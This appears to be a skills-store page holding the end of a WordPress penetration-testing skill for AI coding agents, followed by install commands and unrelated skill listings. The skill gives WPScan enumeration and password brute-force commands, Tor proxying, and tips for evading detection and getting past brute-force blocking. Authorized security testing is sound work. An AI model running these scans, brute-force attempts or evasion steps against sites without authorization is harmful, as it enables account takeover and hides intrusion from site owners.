http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n```\n\n#### Scanning Through Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy socks5:\u002F\u002F127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http:\u002F\u002Ftarget.com --http-auth admin:password\n\n# Force SSL\u002FTLS\nwpscan --url https:\u002F\u002Ftarget.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `\u002Fwp-admin\u002F` | Admin dashboard |\n| `\u002Fwp-login.php` | Login page |\n| `\u002Fwp-content\u002Fuploads\u002F` | User uploads |\n| `\u002Fwp-includes\u002F` | Core files |\n| `\u002Fxmlrpc.php` | XML-RPC API |\n| `\u002Fwp-json\u002F` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http:\u002F\u002Ftarget.com` |\n| All enumeration | `wpscan --url http:\u002F\u002Ftarget.com -e at,ap,u` |\n| Password attack | `wpscan --url http:\u002F\u002Ftarget.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking\u002Ffail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":33,"author":49,"source":40,"date_added":50,"description":7},"zebbern","2026-02-27","main","7a38d8e7073e61c16eda85681cb32fb68a8657a5","skills-store\u002Fcursor\u002Fwordpress-penetration-testing","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router","https:\u002F\u002Fgithub.com\u002Fsapsapshen","2026-04-14 21:12:12",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add sapsapshen\u002Fai-memory-router --skill wordpress-penetration-testing",{"tool":63,"command":64},"bunx","bunx skills add sapsapshen\u002Fai-memory-router --skill wordpress-penetration-testing",{"tool":66,"command":67},"pnpm","pnpm dlx skills add sapsapshen\u002Fai-memory-router --skill wordpress-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fcursor\u002Fwordpress-penetration-testing\u002FSKILL.md",true,[],[72,96,122,132,145,162],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":83,"publishedAt":44},"01M71ATQRKG48SH06FQ697T5G9","wechat-search","Search WeChat Official Account articles using OpenClaw's web search and fetch capabilities with compliance-focused design.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fwechat-search-release\u002FSKILL.md",[78],{"categoryNo":79,"categoryName":80,"taxonomyType":81,"taxonomyTypeDesc":82},"01JBSEEDCAT000000000000037","律师与法务","PROFESSION","适用职业",[84,85,86,87,88,89,90,91,92,93,94,95],"wechat search","wechat","search","capabilities","openclaw","design","web search","compliance","web","official","fetch","with",{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":44},"01M71ATNAVGZB35PFYM2GC5N00","trend-tap","Real-time trending topics aggregator across 7 platforms (X\u002FTwitter, Reddit, Google Trends, Hacker News, Zhihu, Bilibili, Weibo). Trigger: when user says 'trend', 'trends', 'trend tap', '热点', '热搜', or asks what is trending\u002Fhot. Do NOT use web_search — this skill already fetches live data from all platforms with zero API keys.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftrend-tap\u002FSKILL.md",[],[103,104,105,106,107,108,86,109,110,111,112,113,114,115,116,117,118,119,120,121],"trend","trend tap","tap","api keys","Bash","time","trending","hacker","aggregator","do","when","brew","live","data","google","install","read","across","api",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":44},"01M71ATJ9AM5KM15AA8PS302EB","trend-radar","Real-time trending topics aggregator across 7 platforms (X\u002FTwitter, Reddit, Google Trends, Hacker News, Zhihu, Bilibili, Weibo). Trigger: when user says 'trend', 'trends', 'trend pulse', '热点', '热搜', or asks what is trending\u002Fhot. Do NOT use web_search — this skill already fetches live data from all platforms with zero API keys.","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftrend-radar\u002FSKILL.md",[],[129,130,103,114,115,116,117,107,86,119,131,120,121,113,111,110,109,118,108,106],"trend radar","radar","pulse",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":138,"publishedAt":44},"01M71ATGF095N3EJM9G8SD0BB5","tech-news-daily","每日科技新闻汇——从全球多个 RSS 源抓取最新科技新闻，翻译（英→中）、去重、排版成每日简报。当用户询问科技新闻、科技新鲜事、每日科技、技术动态、Daily Tech News 或类似表达时触发此技能。","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Ftech-news-daily\u002FSKILL.md",[],[139,140,141,142,143,144],"news","tech","tech news daily","daily","rss","翻译",{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":154,"publishedAt":44},"01M71ATFAEAMQ17M70NQNY7SR8","summarize","Summarize URLs or files with the summarize CLI (web, PDFs, images, audio, YouTube).","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fsummarize\u002FSKILL.md",[151],{"categoryNo":152,"categoryName":153,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",[147,92,155,156,157,95,114,158,159,160,105,161,118],"Audio","cli","youtube","images","https","files","pdfs",{"skillNo":163,"name":164,"nameZh":6,"description":165,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":166,"categories":167,"keywords":168,"publishedAt":44},"01M71ATDNS3R0M4H936PACQAWZ","sonoscli","Control Sonos speakers (discover\u002Fstatus\u002Fplay\u002Fvolume\u002Fgroup).","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fopenclaw\u002Fsonoscli\u002FSKILL.md",[],[164,169,170,171,118,172,159,173,174,175,176,177],"status","play","go","latest","github","discover","control","cmd","volume"]